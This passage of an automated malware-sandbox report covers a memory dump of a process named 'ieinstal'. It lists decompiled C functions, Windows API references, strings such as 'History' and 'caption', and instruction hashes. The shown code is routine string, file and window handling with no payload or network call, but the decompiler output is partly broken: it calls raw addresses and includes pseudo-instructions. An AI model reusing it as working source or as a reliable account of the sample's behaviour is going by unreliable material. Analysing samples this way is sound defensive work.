                                                                                                                            • Opcode ID: 33c29578f6527905f4abec1227faf2173c8a70e2811538addd66a8855e8dc5c8
                                                                                                                            • Instruction ID: b45f8a370873a883e9703370fbfe8b0477d3556cf02d11e6db591a78d085f858
                                                                                                                            • Opcode Fuzzy Hash: 33c29578f6527905f4abec1227faf2173c8a70e2811538addd66a8855e8dc5c8
                                                                                                                            • Instruction Fuzzy Hash: 95213DB67403002BE7209A39CC4165B7B6D9FC6318F0A481EF6464B346E67DD605C756
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040E946 Relevance: 7.6, APIs: 5, Instructions: 60COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 34%
                                                                                                                            			E0040E946(intOrPtr* __edi) {
				void* __esi;
				intOrPtr* _t11;
				intOrPtr* _t18;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr* _t36;

				_t27 = __edi;
				 *__edi = 0x453ab8;
				E0040E8E0(__edi);
				_t31 =  *((intOrPtr*)(__edi + 0x14));
				if(_t31 != 0) {
					E0040AA04(_t31);
					0x446664(_t31);
				}
				_t32 =  *((intOrPtr*)(_t27 + 0x10));
				if(_t32 != 0) {
					E0040AA04(_t32);
					0x446664(_t32);
				}
				_t33 =  *((intOrPtr*)(_t27 + 0xc));
				if(_t33 != 0) {
					E0040AA04(_t33);
					0x446664(_t33);
				}
				_t34 =  *((intOrPtr*)(_t27 + 8));
				if(_t34 != 0) {
					E0040AA04(_t34);
					0x446664(_t34);
				}
				_t18 = _t27;
				_pop(_t35);
				_push(_t27);
				_t36 = _t18;
				_t28 = 0;
				if( *((intOrPtr*)(_t36 + 4)) > 0 &&  *((intOrPtr*)(_t36 + 0x30)) > 0) {
					do {
						 *((intOrPtr*)( *((intOrPtr*)(E0040E7C4(_t36, _t28))) + 0xc))();
						_t28 = _t28 + 1;
					} while (_t28 <  *((intOrPtr*)(_t36 + 0x30)));
				}
				_t11 =  *((intOrPtr*)( *_t36))();
				0x4466a0( *_t11);
				return _t11;
			}













                                                                                                                            0x0040e946
                                                                                                                            0x0040e949
                                                                                                                            0x0040e94f
                                                                                                                            0x0040e954
                                                                                                                            0x0040e959
                                                                                                                            0x0040e95b
                                                                                                                            0x0040e961
                                                                                                                            0x0040e966
                                                                                                                            0x0040e967
                                                                                                                            0x0040e96c
                                                                                                                            0x0040e96e
                                                                                                                            0x0040e974
                                                                                                                            0x0040e979
                                                                                                                            0x0040e97a
                                                                                                                            0x0040e97f
                                                                                                                            0x0040e981
                                                                                                                            0x0040e987
                                                                                                                            0x0040e98c
                                                                                                                            0x0040e98d
                                                                                                                            0x0040e992
                                                                                                                            0x0040e994
                                                                                                                            0x0040e99a
                                                                                                                            0x0040e99f
                                                                                                                            0x0040e9a0
                                                                                                                            0x0040e9a2
                                                                                                                            0x0040e9a9
                                                                                                                            0x0040e9aa
                                                                                                                            0x0040e9ac
                                                                                                                            0x0040e9b1
                                                                                                                            0x0040e9b8
                                                                                                                            0x0040e9c2
                                                                                                                            0x0040e9c5
                                                                                                                            0x0040e9c6
                                                                                                                            0x0040e9b8
                                                                                                                            0x0040e9cf
                                                                                                                            0x0040e9d3
                                                                                                                            0x0040e9db

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E8EC
                                                                                                                              • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E8FA
                                                                                                                              • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E90B
                                                                                                                              • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E922
                                                                                                                              • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E92B
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040E961
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040E974
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040E987
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040E99A
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040E9D3
                                                                                                                              • Part of subcall function 0040AA04: ??3@YAXPAX@Z.MSVCRT ref: 0040AA0B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 613200358-0
                                                                                                                            • Opcode ID: fdaf7c221553fa3d99baedce4f360f1f5535380ea0dd65d5a88a596ccf078b3c
                                                                                                                            • Instruction ID: 098569c1990a85f87ddbd530571c52e66e2f7ba0f471894b996c1416d461d1fd
                                                                                                                            • Opcode Fuzzy Hash: fdaf7c221553fa3d99baedce4f360f1f5535380ea0dd65d5a88a596ccf078b3c
                                                                                                                            • Instruction Fuzzy Hash: 5001A932A01A2097C665BB27A50195EB354BE86B24316896FF844773C1CB3C6C61C6DF
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041748F Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 58%
                                                                                                                            			E0041748F(short* _a4) {
				int _v8;
				int _v12;
				signed int _t9;
				int _t10;
				char* _t11;
				char* _t13;
				int _t26;

				_push(_t17);
				_t9 = AreFileApisANSI();
				asm("sbb esi, esi");
				_t26 =  ~_t9 + 1;
				_t10 = WideCharToMultiByte(_t26, 0, _a4, 0xffffffff, 0, 0, 0, 0);
				_v12 = _t10;
				_t11 = malloc(_t10);
				_v8 = _t11;
				if(_t11 != 0) {
					if(WideCharToMultiByte(_t26, 0, _a4, 0xffffffff, _t11, _v12, 0, 0) == 0) {
						0x4466a0(_v8);
						_v8 = 0;
					}
					_t13 = _v8;
				} else {
					_t13 = 0;
				}
				return _t13;
			}










                                                                                                                            0x00417493
                                                                                                                            0x00417497
                                                                                                                            0x004174a7
                                                                                                                            0x004174b4
                                                                                                                            0x004174b7
                                                                                                                            0x004174ba
                                                                                                                            0x004174bd
                                                                                                                            0x004174c5
                                                                                                                            0x004174c8
                                                                                                                            0x004174df
                                                                                                                            0x004174e4
                                                                                                                            0x004174ea
                                                                                                                            0x004174ea
                                                                                                                            0x004174ed
                                                                                                                            0x004174ca
                                                                                                                            0x004174ca
                                                                                                                            0x004174ca
                                                                                                                            0x004174f4

                                                                                                                            APIs
                                                                                                                            • AreFileApisANSI.KERNEL32 ref: 00417497
                                                                                                                            • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 004174B7
                                                                                                                            • malloc.MSVCRT ref: 004174BD
                                                                                                                            • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 004174DB
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 004174E4
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ByteCharMultiWide$??3@ApisFilemalloc
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2903831945-0
                                                                                                                            • Opcode ID: 57d3071dd2de7bbc8e1c08973dbf7d9290014f20ee3246d914a41c796bcca670
                                                                                                                            • Instruction ID: 68224c9aa4b31b20fa5037399352f9c2f04b40a845063e8f60522cdb36b448b3
                                                                                                                            • Opcode Fuzzy Hash: 57d3071dd2de7bbc8e1c08973dbf7d9290014f20ee3246d914a41c796bcca670
                                                                                                                            • Instruction Fuzzy Hash: DE01A4B150412DBEAF115FA99C80CAF7E7CEA463FC721422AF514E2290DA345E405AB9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040D441 Relevance: 7.5, APIs: 5, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E0040D441(void* __esi, struct HWND__* _a4, signed int _a8) {
				intOrPtr _v12;
				struct tagPOINT _v20;
				struct tagRECT _v36;
				int _t27;
				struct HWND__* _t30;
				struct HWND__* _t32;

				_t30 = _a4;
				if((_a8 & 0x00000001) != 0) {
					_t32 = GetParent(_t30);
					GetWindowRect(_t30,  &_v20);
					GetClientRect(_t32,  &_v36);
					MapWindowPoints(0, _t32,  &_v20, 2);
					_t27 = _v36.right - _v12 - _v36.left;
					_v20.x = _t27;
					SetWindowPos(_t30, 0, _t27, _v20.y, 0, 0, 5);
				}
				if((_a8 & 0x00000002) != 0) {
					E0040A153(_t30);
				}
				return 1;
			}









                                                                                                                            0x0040d44c
                                                                                                                            0x0040d44f
                                                                                                                            0x0040d459
                                                                                                                            0x0040d460
                                                                                                                            0x0040d46b
                                                                                                                            0x0040d47b
                                                                                                                            0x0040d489
                                                                                                                            0x0040d491
                                                                                                                            0x0040d497
                                                                                                                            0x0040d49d
                                                                                                                            0x0040d4a2
                                                                                                                            0x0040d4a5
                                                                                                                            0x0040d4aa
                                                                                                                            0x0040d4b0

                                                                                                                            APIs
                                                                                                                            • GetParent.USER32(?), ref: 0040D453
                                                                                                                            • GetWindowRect.USER32(?,?), ref: 0040D460
                                                                                                                            • GetClientRect.USER32(00000000,?), ref: 0040D46B
                                                                                                                            • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0040D47B
                                                                                                                            • SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 0040D497
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Window$Rect$ClientParentPoints
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 4247780290-0
                                                                                                                            • Opcode ID: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                                                                                                                            • Instruction ID: 8744084584fea1eb3916f9079d499296a2dd08f7759f51c0708cf8f54c9212ed
                                                                                                                            • Opcode Fuzzy Hash: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                                                                                                                            • Instruction Fuzzy Hash: 62018836801129BBDB11EBA6CC49EFFBFBCFF06310F048069F901A2180D778A5018BA5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00445093 Relevance: 7.5, APIs: 5, Instructions: 46COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                                                            • GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                                                                                                                            • ??2@YAPAXI@Z.MSVCRT ref: 004450BE
                                                                                                                            • memset.MSVCRT ref: 004450CD
                                                                                                                              • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 004450F0
                                                                                                                              • Part of subcall function 00444E84: memchr.MSVCRT ref: 00444EBF
                                                                                                                              • Part of subcall function 00444E84: memcpy.MSVCRT ref: 00444F63
                                                                                                                              • Part of subcall function 00444E84: memcpy.MSVCRT ref: 00444F75
                                                                                                                              • Part of subcall function 00444E84: memcpy.MSVCRT ref: 00444F9D
                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,00000104), ref: 004450F7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Filememcpy$??2@??3@CloseCreateHandleReadSizememchrmemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1471605966-0
                                                                                                                            • Opcode ID: 2aed10359402c50519c1c236b6adb34ede6eedef97d485569bed8d1556fc9971
                                                                                                                            • Instruction ID: af7e2442fb2a0afe256a59df9b01c6fa6c67666c78107f96d02934f32f814c95
                                                                                                                            • Opcode Fuzzy Hash: 2aed10359402c50519c1c236b6adb34ede6eedef97d485569bed8d1556fc9971
                                                                                                                            • Instruction Fuzzy Hash: D8F0C2765002107BE5207736AC8AEAB3A5CDF96771F11893FF416921D2EE698814C1BD
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0044474A Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • wcscpy.MSVCRT ref: 0044475F
                                                                                                                            • wcscat.MSVCRT ref: 0044476E
                                                                                                                            • wcscat.MSVCRT ref: 0044477F
                                                                                                                            • wcscat.MSVCRT ref: 0044478E
                                                                                                                              • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                              • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                                                                                                                              • Part of subcall function 00409A90: lstrcpyW.KERNEL32(?,?), ref: 00409AA5
                                                                                                                              • Part of subcall function 00409A90: lstrlenW.KERNEL32(?), ref: 00409AAC
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: wcscat$lstrcpylstrlenmemcpywcscpywcslen
                                                                                                                            • String ID: \StringFileInfo\
                                                                                                                            • API String ID: 102104167-2245444037
                                                                                                                            • Opcode ID: ab9a2aafb99aa2c2dc16e93ced4cdbf5d312534483fca915021789ec54b8a1ce
                                                                                                                            • Instruction ID: e4f437c51a7ffcfb72b972a214432876dbdec8abc2c75880463b8380eb377783
                                                                                                                            • Opcode Fuzzy Hash: ab9a2aafb99aa2c2dc16e93ced4cdbf5d312534483fca915021789ec54b8a1ce
                                                                                                                            • Instruction Fuzzy Hash: 41018FB290021DB6EF10EAA1DC45EDF73BCAB05304F0004B7B514F2052EE38DB969B69
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040E8E0 Relevance: 7.5, APIs: 5, Instructions: 41COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 613200358-0
                                                                                                                            • Opcode ID: 7720251f6b3597deba6bb463f6abe47e07af712d95c5f1ebbc7652e386869f9d
                                                                                                                            • Instruction ID: 8b058f36177a858601f18eb469b8e3bd7c1df3fc7b9e847ab044313c89d6339d
                                                                                                                            • Opcode Fuzzy Hash: 7720251f6b3597deba6bb463f6abe47e07af712d95c5f1ebbc7652e386869f9d
                                                                                                                            • Instruction Fuzzy Hash: 98F012B25047015FD760AF6AA8C491BF3E9AB597147668C3FF149D3641CB38FC508A1C
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040F508 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 68%
                                                                                                                            			E0040F508(intOrPtr* __eax, void* __ebx, void* __ecx) {
				char _v8;
				int _v12;
				void* __edi;
				void* __esi;
				void* _t52;
				intOrPtr* _t55;
				void* _t63;
				intOrPtr* _t66;

				_t52 = __ebx;
				_t66 = __eax;
				if( *((intOrPtr*)(__eax + 0x48)) == 0) {
					L4:
					 *(_t52 + 8) =  *(_t52 + 8) | 0xffffffff;
					 *(_t52 + 0xc) =  *(_t52 + 0xc) | 0xffffffff;
					_t61 =  *((intOrPtr*)(_t66 + 0x30));
					_v8 =  *((intOrPtr*)(_t66 + 0x24));
					_v12 =  *(_t66 + 4);
					_t55 =  *((intOrPtr*)( *_t66))();
					if( *((intOrPtr*)(_t66 + 0x30)) != 0xffffffff) {
						_t26 =  &_v8; // 0x403467
						E004099F4(_t66 + 0x34, _t61, _t55, _v12,  *_t26);
					} else {
						0x4466a0( *_t55);
					}
					_t63 = E0040E7C4(_t66,  *((intOrPtr*)(_t66 + 0x30)));
					memcpy(_t63, _t52,  *(_t66 + 4));
					 *((intOrPtr*)(_t66 + 0x30)) =  *((intOrPtr*)(_t66 + 0x30)) + 1;
					 *((intOrPtr*)( *_t66 + 0x38))();
				} else {
					_v8 = 0;
					if( *((intOrPtr*)(__eax + 0x30)) <= 0) {
						goto L4;
					} else {
						while(1) {
							_t4 =  &_v8; // 0x403467
							_t63 = E0040E7C4(_t66,  *_t4);
							if(( *(_t63 + 4) & 0x00000001) != 0) {
								break;
							}
							_v8 = _v8 + 1;
							if(_v8 <  *((intOrPtr*)(_t66 + 0x30))) {
								continue;
							} else {
								goto L4;
							}
							goto L9;
						}
						_v8 =  *((intOrPtr*)(_t63 + 8));
						memcpy(_t63, _t52,  *(_t66 + 4));
						 *((intOrPtr*)(_t63 + 8)) = _v8;
					}
				}
				L9:
				return _t63;
			}











                                                                                                                            0x0040f508
                                                                                                                            0x0040f50e
                                                                                                                            0x0040f516
                                                                                                                            0x0040f53b
                                                                                                                            0x0040f53b
                                                                                                                            0x0040f53f
                                                                                                                            0x0040f546
                                                                                                                            0x0040f549
                                                                                                                            0x0040f54f
                                                                                                                            0x0040f55b
                                                                                                                            0x0040f55d
                                                                                                                            0x0040f583
                                                                                                                            0x0040f590
                                                                                                                            0x0040f55f
                                                                                                                            0x0040f561
                                                                                                                            0x0040f561
                                                                                                                            0x0040f5a2
                                                                                                                            0x0040f5a6
                                                                                                                            0x0040f5b0
                                                                                                                            0x0040f5b5
                                                                                                                            0x0040f518
                                                                                                                            0x0040f51b
                                                                                                                            0x0040f51e
                                                                                                                            0x00000000
                                                                                                                            0x0040f520
                                                                                                                            0x0040f520
                                                                                                                            0x0040f520
                                                                                                                            0x0040f528
                                                                                                                            0x0040f52e
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040f530
                                                                                                                            0x0040f539
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040f539
                                                                                                                            0x0040f570
                                                                                                                            0x0040f573
                                                                                                                            0x0040f57e
                                                                                                                            0x0040f57e
                                                                                                                            0x0040f51e
                                                                                                                            0x0040f5b8
                                                                                                                            0x0040f5bd

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$??3@
                                                                                                                            • String ID: g4@
                                                                                                                            • API String ID: 3314356048-2133833424
                                                                                                                            • Opcode ID: 5ca90841aa7ac27d251937f4286d5c28b71121c56bc89bd43d9446bd4e5208fe
                                                                                                                            • Instruction ID: 6372a4083673351870aa2a156e9431cadfa41d37230e9e7fabcd635cb7c3c96e
                                                                                                                            • Opcode Fuzzy Hash: 5ca90841aa7ac27d251937f4286d5c28b71121c56bc89bd43d9446bd4e5208fe
                                                                                                                            • Instruction Fuzzy Hash: D2217A30900604EFCB20DF29C94182ABBF5FF447247204A7EE852A3B91E735EE119B04
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040AAE3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 68%
                                                                                                                            			E0040AAE3(signed int _a4) {
				signed int _v4;
				signed int _t11;
				signed int _t17;
				int _t19;
				void* _t20;
				void* _t21;

				_v4 = _v4 & 0x00000000;
				_t19 = wcslen(0x4532fc);
				_t11 = E0040AA1D(_a4);
				_t17 = _t11;
				if(_t17 == 0) {
					L5:
					return _t11 | 0xffffffff;
				}
				_t2 =  &_a4; // 0x40e240
				_t11 = E0040AA71( *_t2);
				_a4 = _t11;
				if(_t19 > _t11) {
					goto L5;
				}
				_t20 = _t19 + _t19;
				while(1) {
					0x44669a(_t17, 0x4532fc, _t20);
					_t21 = _t21 + 0xc;
					if(_t11 == 0) {
						break;
					}
					_v4 = _v4 + 1;
					_t17 = _t17 + 2;
					_t19 = _t19 + 1;
					if(_t19 <= _a4) {
						continue;
					}
					goto L5;
				}
				return _v4;
			}









                                                                                                                            0x0040aae4
                                                                                                                            0x0040aaf7
                                                                                                                            0x0040aafe
                                                                                                                            0x0040ab03
                                                                                                                            0x0040ab07
                                                                                                                            0x0040ab39
                                                                                                                            0x00000000
                                                                                                                            0x0040ab39
                                                                                                                            0x0040ab09
                                                                                                                            0x0040ab0d
                                                                                                                            0x0040ab14
                                                                                                                            0x0040ab18
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040ab1a
                                                                                                                            0x0040ab1d
                                                                                                                            0x0040ab20
                                                                                                                            0x0040ab25
                                                                                                                            0x0040ab2a
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040ab2c
                                                                                                                            0x0040ab31
                                                                                                                            0x0040ab32
                                                                                                                            0x0040ab37
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040ab37
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _memicmpwcslen
                                                                                                                            • String ID: @@@@$History
                                                                                                                            • API String ID: 1872909662-685208920
                                                                                                                            • Opcode ID: 3ad5d2c3b3ee2b52e24687d5059668d8296d000cbab4a3a90200832106c23410
                                                                                                                            • Instruction ID: 0314511eba11a06c501d0b319d6753a7178557fc2485e08f734f24cb460fdfed
                                                                                                                            • Opcode Fuzzy Hash: 3ad5d2c3b3ee2b52e24687d5059668d8296d000cbab4a3a90200832106c23410
                                                                                                                            • Instruction Fuzzy Hash: F1F0CD3310471157D210DE199C41A2BF7F8DB813A5F11063FF991A31C2D739EC658657
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004100D7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 79%
                                                                                                                            			E004100D7(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				signed short _v516;
				void _v1026;
				signed short _v1028;
				void* __esi;
				void* _t17;
				intOrPtr* _t26;
				signed short* _t28;

				_v516 = _v516 & 0x00000000;
				_t26 = __ecx;
				memset( &_v514, 0, 0x1fc);
				_v1028 = _v1028 & 0x00000000;
				memset( &_v1026, 0, 0x1fc);
				_t17 =  *((intOrPtr*)( *_t26 + 0x24))();
				_t28 =  &_v516;
				E0040F5BE(_t28, _t17);
				0x4465cc( &_v1028, 0xff, "</%s>", _t28);
				return E0040F728(_t26, _a4,  &_v1028);
			}











                                                                                                                            0x004100e0
                                                                                                                            0x004100f9
                                                                                                                            0x004100fb
                                                                                                                            0x00410100
                                                                                                                            0x00410112
                                                                                                                            0x0041011e
                                                                                                                            0x00410122
                                                                                                                            0x00410128
                                                                                                                            0x00410141
                                                                                                                            0x0041015d

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004100FB
                                                                                                                            • memset.MSVCRT ref: 00410112
                                                                                                                              • Part of subcall function 0040F5BE: wcscpy.MSVCRT ref: 0040F5C3
                                                                                                                              • Part of subcall function 0040F5BE: _wcslwr.MSVCRT ref: 0040F5FE
                                                                                                                            • _snwprintf.MSVCRT ref: 00410141
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$_snwprintf_wcslwrwcscpy
                                                                                                                            • String ID: </%s>
                                                                                                                            • API String ID: 3400436232-259020660
                                                                                                                            • Opcode ID: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                                                                                                                            • Instruction ID: d6b380c41b5e3e458bf6abeca455f552dea24a705517b0a2e3702c553642f250
                                                                                                                            • Opcode Fuzzy Hash: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                                                                                                                            • Instruction Fuzzy Hash: 9B01DBF3D0012977D730A755CC46FEA76ACEF45304F0000B6BB08B3186DB78DA458A99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040D553 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 60%
                                                                                                                            			E0040D553(intOrPtr __ecx, struct HWND__* _a4) {
				void _v8198;
				short _v8200;
				int _t8;
				void* _t11;
				intOrPtr _t19;

				_t8 = 0x2004;
				0x44db70();
				_t19 = __ecx;
				if(__ecx == 0) {
					_t19 =  *0x45d6ec;
				}
				if( *0x45d458 != 0) {
					_v8200 = _v8200 & 0x00000000;
					memset( &_v8198, 0, 0x2000);
					_push(_t19);
					_t11 = 5;
					E0040D5D6(_t11);
					if(E0040D682(?str?,  &_v8200) != 0) {
						SetWindowTextW(_a4,  &_v8200);
					}
					_t8 = EnumChildWindows(_a4, E0040D4F5, 0);
				}
				return _t8;
			}








                                                                                                                            0x0040d556
                                                                                                                            0x0040d55b
                                                                                                                            0x0040d561
                                                                                                                            0x0040d565
                                                                                                                            0x0040d567
                                                                                                                            0x0040d567
                                                                                                                            0x0040d575
                                                                                                                            0x0040d577
                                                                                                                            0x0040d58d
                                                                                                                            0x0040d592
                                                                                                                            0x0040d595
                                                                                                                            0x0040d596
                                                                                                                            0x0040d5b1
                                                                                                                            0x0040d5bd
                                                                                                                            0x0040d5bd
                                                                                                                            0x0040d5cd
                                                                                                                            0x0040d5cd
                                                                                                                            0x0040d5d5

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040D58D
                                                                                                                            • SetWindowTextW.USER32(?,?), ref: 0040D5BD
                                                                                                                            • EnumChildWindows.USER32(?,Function_0000D4F5,00000000), ref: 0040D5CD
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ChildEnumTextWindowWindowsmemset
                                                                                                                            • String ID: caption
                                                                                                                            • API String ID: 1523050162-4135340389
                                                                                                                            • Opcode ID: c23acb22e5a8502154e4be65b33a4ced3ce6ae2c099f2d24681839129fd3d8a7
                                                                                                                            • Instruction ID: dcfab03f3ae0740f4c11e1fd8af26e22289cdce227bdcda27870e2dbaf68b2c3
                                                                                                                            • Opcode Fuzzy Hash: c23acb22e5a8502154e4be65b33a4ced3ce6ae2c099f2d24681839129fd3d8a7
                                                                                                                            • Instruction Fuzzy Hash: 50F08131D0031876FB206B95CC4EB8A3268AB04744F000076BE04B61D2DBB8EA44C69D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00401137 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00401137(void* __esi, void* __eflags) {
				struct tagLOGFONTW _v96;
				int _t10;
				long _t11;

				E00409BFD( &_v96, "MS Sans Serif", 0xa, 1);
				_t10 = CreateFontIndirectW( &_v96);
